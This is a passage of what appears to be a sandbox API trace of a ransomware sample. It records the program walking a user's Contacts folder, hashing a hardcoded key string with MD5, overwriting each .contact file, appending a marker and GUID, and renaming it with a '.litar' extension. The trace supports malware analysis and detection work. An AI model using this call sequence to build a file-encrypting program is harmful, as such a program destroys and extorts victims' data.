HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.038] WriteFile (in: hFile=0x624, lpBuffer=0x3055af0*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x3055af0*, lpNumberOfBytesWritten=0x398fb24*=0x494, lpOverlapped=0x0) returned 1 [0125.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.039] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.039] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.039] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.039] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.039] CloseHandle (hObject=0x624) returned 1 [0125.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.040] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.litar")) returned 1 [0125.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.040] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.041] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.041] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0125.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.041] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0125.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.042] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0125.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.042] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=1174) returned 1 [0125.042] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.044] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.044] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.046] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.046] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x496, lpOverlapped=0x0) returned 1 [0125.046] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.046] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.046] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.046] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.047] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.047] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.047] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.047] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.047] GetLastError () returned 0x0 [0125.047] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.048] SetLastError (dwErrCode=0x0) [0125.048] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] GetLastError () returned 0x0 [0125.049] SetLastError (dwErrCode=0x0) [0125.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.049] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.049] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3044390 | out: hHeap=0x5c0000) returned 1 [0125.049] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.049] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.049] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4a0) returned 0x3055af0 [0125.049] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.049] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.049] WriteFile (in: hFile=0x624, lpBuffer=0x3055af0*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x3055af0*, lpNumberOfBytesWritten=0x398fb24*=0x491, lpOverlapped=0x0) returned 1 [0125.050] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.050] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.050] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.050] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.050] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.050] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.050] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.050] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.050] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.050] CloseHandle (hObject=0x624) returned 1 [0125.051] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.051] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.051] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.051] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.litar")) returned 1 [0125.051] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.051] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.052] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0125.052] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.052] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.052] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0125.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.053] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=1172) returned 1 [0125.053] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.055] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.055] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.057] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.057] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x494, lpOverlapped=0x0) returned 1 [0125.057] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.057] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.057] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.057] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.058] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.058] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.058] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.058] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.058] GetLastError () returned 0x0 [0125.058] SetLastError (dwErrCode=0x0) [0125.058] GetLastError () returned 0x0 [0125.058] SetLastError (dwErrCode=0x0) [0125.058] GetLastError () returned 0x0 [0125.058] SetLastError (dwErrCode=0x0) [0125.058] GetLastError () returned 0x0 [0125.058] SetLastError (dwErrCode=0x0) [0125.058] GetLastError () returned 0x0 [0125.058] SetLastError (dwErrCode=0x0) [0125.058] GetLastError () returned 0x0 [0125.058] SetLastError (dwErrCode=0x0) [0125.058] GetLastError () returned 0x0 [0125.058] SetLastError (dwErrCode=0x0) [0125.058] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.059] GetLastError () returned 0x0 [0125.059] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] GetLastError () returned 0x0 [0125.060] SetLastError (dwErrCode=0x0) [0125.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3044390 | out: hHeap=0x5c0000) returned 1 [0125.060] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.060] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x490) returned 0x3055af0 [0125.061] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.061] WriteFile (in: hFile=0x624, lpBuffer=0x3055af0*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x3055af0*, lpNumberOfBytesWritten=0x398fb24*=0x48f, lpOverlapped=0x0) returned 1 [0125.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.061] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.061] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.061] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.061] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.061] CloseHandle (hObject=0x624) returned 1 [0125.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.062] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.litar")) returned 1 [0125.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.063] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.064] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, 